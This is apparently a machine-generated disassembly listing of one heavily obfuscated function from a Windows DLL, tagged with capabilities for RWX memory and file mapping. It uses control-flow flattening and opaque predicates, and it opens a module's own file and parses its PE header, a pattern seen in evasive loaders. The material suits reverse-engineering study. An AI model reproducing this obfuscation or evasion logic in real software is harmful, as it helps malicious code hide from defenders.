Function at 0x10001450
Capabilities:
Allocate or change rwx memory
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0xb0
mov eax, dword [ebp + 8]
mov dword [ebp - 0xb4], eax
mov eax, dword [0x1006b600]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov ecx, dword [0x1006c948]
mov eax, dword [0x1006c944]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0xaa], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0xa9], al
mov dword [ebp - 0xb0], 0xa2045d3a
mov eax, dword [ebp - 0xb0]
mov dword [ebp - 0xb8], eax
sub eax, 0x808d0fd1
je 0x10002cb0
jmp 0x100014cb
mov eax, dword [ebp - 0xb8]
sub eax, 0x82d3d9dc
je 0x10004017
jmp 0x100014e1
mov eax, dword [ebp - 0xb8]
sub eax, 0x8361d6a3
je 0x10002304
jmp 0x100014f7
mov eax, dword [ebp - 0xb8]
sub eax, 0x85a15708
je 0x1000234d
jmp 0x1000150d
mov eax, dword [ebp - 0xb8]
sub eax, 0x85aa9fd5
je 0x10002418
jmp 0x10001523
mov eax, dword [ebp - 0xb8]
sub eax, 0x8609ae98
je 0x1000258f
jmp 0x10001539
mov eax, dword [ebp - 0xb8]
sub eax, 0x88c4d1ab
je 0x10002296
jmp 0x1000154f
mov eax, dword [ebp - 0xb8]
sub eax, 0x8dbeb9c3
je 0x10002fcc
jmp 0x10001565
mov eax, dword [ebp - 0xb8]
sub eax, 0x9446fb75
je 0x10002e4e
jmp 0x1000157b
mov eax, dword [ebp - 0xb8]
sub eax, 0x95a89e1c
je 0x10003310
jmp 0x10001591
mov eax, dword [ebp - 0xb8]
sub eax, 0x971629f5
je 0x10003dc0
jmp 0x100015a7
mov eax, dword [ebp - 0xb8]
sub eax, 0x9771a890
je 0x1000346f
jmp 0x100015bd
mov eax, dword [ebp - 0xb8]
sub eax, 0x98ef9f45
je 0x10002b94
jmp 0x100015d3
mov eax, dword [ebp - 0xb8]
sub eax, 0x9ba8e808
je 0x10002957
jmp 0x100015e9
mov eax, dword [ebp - 0xb8]
sub eax, 0x9ff8d751
je 0x1000284b
jmp 0x100015ff
mov eax, dword [ebp - 0xb8]
sub eax, 0xa0523e29
je 0x10003732
jmp 0x10001615
mov eax, dword [ebp - 0xb8]
sub eax, 0xa2045d3a
je 0x10001fe6
jmp 0x1000162b
mov eax, dword [ebp - 0xb8]
sub eax, 0xa304a76c
je 0x10002f0c
jmp 0x10001641
mov eax, dword [ebp - 0xb8]
sub eax, 0xa704cd5a
je 0x10002988
jmp 0x10001657
mov eax, dword [ebp - 0xb8]
sub eax, 0xa73c3ec6
je 0x10003650
jmp 0x1000166d
mov eax, dword [ebp - 0xb8]
sub eax, 0xae661b57
je 0x10002156
jmp 0x10001683
mov eax, dword [ebp - 0xb8]
sub eax, 0xaee41bd8
je 0x100021f7
jmp 0x10001699
mov eax, dword [ebp - 0xb8]
sub eax, 0xaff7557a
je 0x100039db
jmp 0x100016af
mov eax, dword [ebp - 0xb8]
sub eax, 0xb0a39517
je 0x10002015
jmp 0x100016c5
mov eax, dword [ebp - 0xb8]
sub eax, 0xb2873e01
je 0x1000411d
jmp 0x100016db
mov eax, dword [ebp - 0xb8]
sub eax, 0xb407b606
je 0x100024ee
jmp 0x100016f1
mov eax, dword [ebp - 0xb8]
sub eax, 0xb6040a08
je 0x10004172
jmp 0x10001707
mov eax, dword [ebp - 0xb8]
sub eax, 0xbaf14ae9
je 0x10002789
jmp 0x1000171d
mov eax, dword [ebp - 0xb8]
sub eax, 0xbd1cac20
je 0x100024df
jmp 0x10001733
mov eax, dword [ebp - 0xb8]
sub eax, 0xbeab632d
je 0x10004035
jmp 0x10001749
mov eax, dword [ebp - 0xb8]
sub eax, 0xbed7e54f
je 0x10003a51
jmp 0x1000175f
mov eax, dword [ebp - 0xb8]
sub eax, 0xbf70a33f
je 0x10003636
jmp 0x10001775
mov eax, dword [ebp - 0xb8]
sub eax, 0xc38c83ab
je 0x1000329a
jmp 0x1000178b
mov eax, dword [ebp - 0xb8]
sub eax, 0xc3b14115
je 0x10003882
jmp 0x100017a1
mov eax, dword [ebp - 0xb8]
sub eax, 0xc5e50f99
je 0x100038ff
jmp 0x100017b7
mov eax, dword [ebp - 0xb8]
sub eax, 0xc68a81f9
je 0x10002d44
jmp 0x100017cd
mov eax, dword [ebp - 0xb8]
sub eax, 0xc7de6681
je 0x10003f63
jmp 0x100017e3
mov eax, dword [ebp - 0xb8]
sub eax, 0xc89b738d
je 0x10002bb1
jmp 0x100017f9
mov eax, dword [ebp - 0xb8]
sub eax, 0xc9bdcb5e
je 0x1000414f
jmp 0x1000180f
mov eax, dword [ebp - 0xb8]
sub eax, 0xcb8f71ff
je 0x10003741
jmp 0x10001825
mov eax, dword [ebp - 0xb8]
sub eax, 0xcc500d68
je 0x100041e9
jmp 0x1000183b
mov eax, dword [ebp - 0xb8]
sub eax, 0xccc6ffb6
je 0x100034d8
jmp 0x10001851
mov eax, dword [ebp - 0xb8]
sub eax, 0xcf18c4aa
je 0x10002db2
jmp 0x10001867
mov eax, dword [ebp - 0xb8]
sub eax, 0xd071eeff
je 0x10003c75
jmp 0x1000187d
mov eax, dword [ebp - 0xb8]
sub eax, 0xd2477f67
je 0x10003b55
jmp 0x10001893
mov eax, dword [ebp - 0xb8]
sub eax, 0xd4eb362c
je 0x10002f5d
jmp 0x100018a9
mov eax, dword [ebp - 0xb8]
sub eax, 0xd5d83860
je 0x10002c02
jmp 0x100018bf
mov eax, dword [ebp - 0xb8]
sub eax, 0xd68e0e70
je 0x10002e36
jmp 0x100018d5
mov eax, dword [ebp - 0xb8]
sub eax, 0xd7451e28
je 0x1000323a
jmp 0x100018eb
mov eax, dword [ebp - 0xb8]
sub eax, 0xd80a344f
je 0x10002894
jmp 0x10001901
mov eax, dword [ebp - 0xb8]
sub eax, 0xdf93b520
je 0x10003d3f
jmp 0x10001917
mov eax, dword [ebp - 0xb8]
sub eax, 0xe3e18df2
je 0x1000332e
jmp 0x1000192d
mov eax, dword [ebp - 0xb8]
sub eax, 0xe47741ba
je 0x10003627
jmp 0x10001943
mov eax, dword [ebp - 0xb8]
sub eax, 0xe70ca842
je 0x10003ba6
jmp 0x10001959
mov eax, dword [ebp - 0xb8]
sub eax, 0xe87a138e
je 0x10002948
jmp 0x1000196f
mov eax, dword [ebp - 0xb8]
sub eax, 0xea00f4ad
je 0x10002ec3
jmp 0x10001985
mov eax, dword [ebp - 0xb8]
sub eax, 0xee68f255
je 0x10002979
jmp 0x1000199b
mov eax, dword [ebp - 0xb8]
sub eax, 0xefe5e61b
je 0x100029d1
jmp 0x100019b1
mov eax, dword [ebp - 0xb8]
sub eax, 0xf02b0a4c
je 0x1000407c
jmp 0x100019c7
mov eax, dword [ebp - 0xb8]
sub eax, 0xf417929e
je 0x100028a3
jmp 0x100019dd
mov eax, dword [ebp - 0xb8]
sub eax, 0xf78bd819
je 0x1000302c
jmp 0x100019f3
mov eax, dword [ebp - 0xb8]
sub eax, 0xf9d9a6c9
je 0x10002b29
jmp 0x10001a09
mov eax, dword [ebp - 0xb8]
sub eax, 0xfa00141d
je 0x100023fa
jmp 0x10001a1f
mov eax, dword [ebp - 0xb8]
sub eax, 0xfb72340a
je 0x10003f72
jmp 0x10001a35
mov eax, dword [ebp - 0xb8]
sub eax, 0xfbd37d8e
je 0x10004190
mov al, byte [ebp - 0xaa]
mov cl, byte [ebp - 0xa9]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xff103072
mov ecx, 0xb0a39517
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
sub esp, 0x104
mov eax, esp
mov dword [ebp - 0x94], eax
push eax
mov eax, esp
mov dword [ebp - 0x90], eax
mov ecx, dword [0x1006c948]
mov eax, dword [0x1006c944]
mov edx, ecx
add edx, 0x93bcb9f9
sub edx, 1
sub edx, 0x93bcb9f9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xff103072
mov ecx, 0x5d00c6e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov ecx, dword [ebp - 0xb4]
push eax
mov eax, esp
mov dword [ebp - 0x8c], eax
push eax
mov eax, esp
mov dword [ebp - 0x88], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0x80], eax
push eax
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov eax, esp
mov dword [ebp - 0x78], eax
push eax
mov eax, esp
mov dword [ebp - 0x74], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x6c], eax
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
mov edx, eax
add edx, 0x2eb8c5cf
sub edx, 1
sub edx, 0x2eb8c5cf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1c8cd34
mov ecx, 0xaee41bd8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov dword [ebp - 0xb0], 0x52bad638
jmp 0x1000420d
mov ecx, dword [0x1006c948]
mov eax, dword [0x1006c944]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x82d3d9dc
mov ecx, 0x8361d6a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd2477f67
mov ecx, 0x85a15708
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov eax, dword [ebp - 0xa0]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.100117e0
add esp, 0xc
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9c]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x65], al
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd2477f67
mov ecx, 0x153fab5f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov dl, byte [ebp - 0x65]
mov eax, 0x85aa9fd5
mov ecx, 0xb407b606
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
mov edx, eax
sub edx, 0x518c0ab3
sub edx, 1
add edx, 0x518c0ab3
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x24b7a991
mov ecx, 0x2a5dced8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov dword [ebp - 0xb0], 0xc5e50f99
jmp 0x1000420d
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xa4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xa0]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0xc
call sub.KERNEL32.dll_K32GetModuleInformation
mov eax, dword [ebp - 0xa0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x98]
mov dword [eax], ecx
mov dword [ebp - 0xb0], 0xb2968d5
jmp 0x1000420d
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ecx]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x104
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [ebp - 0x94]
xor ecx, ecx
sub esp, 0x1c
mov dword [esp], eax
mov dword [esp + 4], 0x80000000
mov dword [esp + 8], 1
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x64], eax
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
mov edx, eax
sub edx, 0x8e3eba48
sub edx, 1
add edx, 0x8e3eba48
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd071eeff
mov ecx, 0x53891ac2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x715c8e8f
mov ecx, 0x77183167
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x275f5c0e
mov ecx, 0xd80a344f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov dword [ebp - 0xb0], 0xf417929e
jmp 0x1000420d
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
mov edx, eax
add edx, 0xea44eb5f
sub edx, 1
sub edx, 0xea44eb5f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2a6922cd
mov ecx, 0x70580dc5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov dword [ebp - 0xb0], 0x9ba8e808
jmp 0x1000420d
mov edx, dword [ebp - 0x60]
mov esi, 0xffffffff
mov eax, 0xa704cd5a
mov ecx, 0xee68f255
cmp edx, esi
cmove eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov dword [ebp - 0xb0], 0xc5e50f99
jmp 0x1000420d
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xff441881
mov ecx, 0xefe5e61b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov ecx, dword [0x1006c948]
mov eax, dword [0x1006c944]
mov edx, ecx
add edx, 0xd5f2565
sub edx, 1
sub edx, 0xd5f2565
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xff441881
mov ecx, 0x55c11fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
mov edx, eax
add edx, 0xe807a10a
sub edx, 1
sub edx, 0xe807a10a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x61bc4aae
mov ecx, 0xed7b0f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov eax, dword [ebp - 0x58]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x51], al
mov dword [ebp - 0xb0], 0xc89b738d
jmp 0x1000420d
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
mov edx, eax
sub edx, 0x8d4c77b0
sub edx, 1
add edx, 0x8d4c77b0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x142f2350
mov ecx, 0xd5d83860
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov ecx, dword [0x1006c948]
mov eax, dword [0x1006c944]
mov edx, ecx
add edx, 0xb89877e2
sub edx, 1
sub edx, 0xb89877e2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x142f2350
mov ecx, 0x160481e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov eax, dword [ebp - 0x50]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xb0], 0x38a03cf3
jmp 0x1000420d
mov ecx, dword [0x1006c948]
mov eax, dword [0x1006c944]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x39be18c3
mov ecx, 0xcf18c4aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov dword [ebp - 0xb0], 0xc5e50f99
jmp 0x1000420d
mov eax, dword [ebp - 0x48]
add eax, 0x3c
mov dword [ebp - 0x44], eax
mov dword [ebp - 0xb0], 0x9446fb75
jmp 0x1000420d
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
sub ecx, 0xfec1e104
add ecx, eax
add ecx, 0xfec1e104
mov eax, dword [ebp - 0x80]
mov dword [eax], ecx
mov eax, dword [ebp - 0x7c]
mov word [eax], 0
mov dword [ebp - 0xb0], 0x71fe6de0
jmp 0x1000420d
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7c74dc5b
mov ecx, 0xa304a76c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
mov edx, eax
sub edx, 0x4a976e5c
sub edx, 1
add edx, 0x4a976e5c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7c74dc5b
mov ecx, 0xd4eb362c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov dl, byte [ebp - 0x35]
mov eax, 0xbf70a33f
mov ecx, 0x37a8a151
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf02b0a4c
mov ecx, 0x2c5a9504
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6185bbb6
mov ecx, 0x43c46394
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov dword [ebp - 0xb0], 0x52621084
jmp 0x1000420d
mov ecx, dword [0x1006c948]
mov eax, dword [0x1006c944]
mov edx, ecx
add edx, 0x68d59838
sub edx, 1
sub edx, 0x68d59838
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc7de6681
mov ecx, 0x95a89e1c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov dl, byte [ebp - 0x2d]
mov eax, 0xe3e18df2
mov ecx, 0x4c0dc1de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
mov edx, eax
add edx, 0xdc7f958a
sub edx, 1
sub edx, 0xdc7f958a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3805878d
mov ecx, 0x285d6d39
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov dword [ebp - 0xb0], 0x3165144c
jmp 0x1000420d
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfb72340a
mov ecx, 0x4654d369
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov dword [ebp - 0xb0], 0x71fe6de0
jmp 0x1000420d
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xb0], 0xa73c3ec6
jmp 0x1000420d
mov ecx, dword [0x1006c948]
mov eax, dword [0x1006c944]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb2873e01
mov ecx, 0x76af5f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov dword [ebp - 0xb0], 0xcb8f71ff
jmp 0x1000420d
mov ecx, dword [0x1006c948]
mov eax, dword [0x1006c944]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x49415599
mov ecx, 0x616336cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov ecx, dword [0x1006c948]
mov eax, dword [0x1006c944]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x49415599
mov ecx, 0x78629bb3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov ecx, dword [0x1006c948]
mov eax, dword [0x1006c944]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb6040a08
mov ecx, 0x6737096
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov ecx, dword [0x1006c948]
mov eax, dword [0x1006c944]
mov edx, ecx
add edx, 0x9d332434
sub edx, 1
sub edx, 0x9d332434
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x147966be
mov ecx, 0xbed7e54f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
mov edx, eax
add edx, 0x80d6830e
sub edx, 1
sub edx, 0x80d6830e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4886d9f9
mov ecx, 0x358fb807
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov eax, dword [0x1006c948]
mov ecx, dword [0x1006c944]
mov edx, eax
sub edx, 0xd628eba2
sub edx, 1
add edx, 0xd628eba2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfbd37d8e
mov ecx, 0xe70ca842
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xb0], eax
jmp 0x1000420d
mov eax, dword [ebp - 0xa0]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0xc
call fcn.100117e0
add esp, 0xc
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x9c]
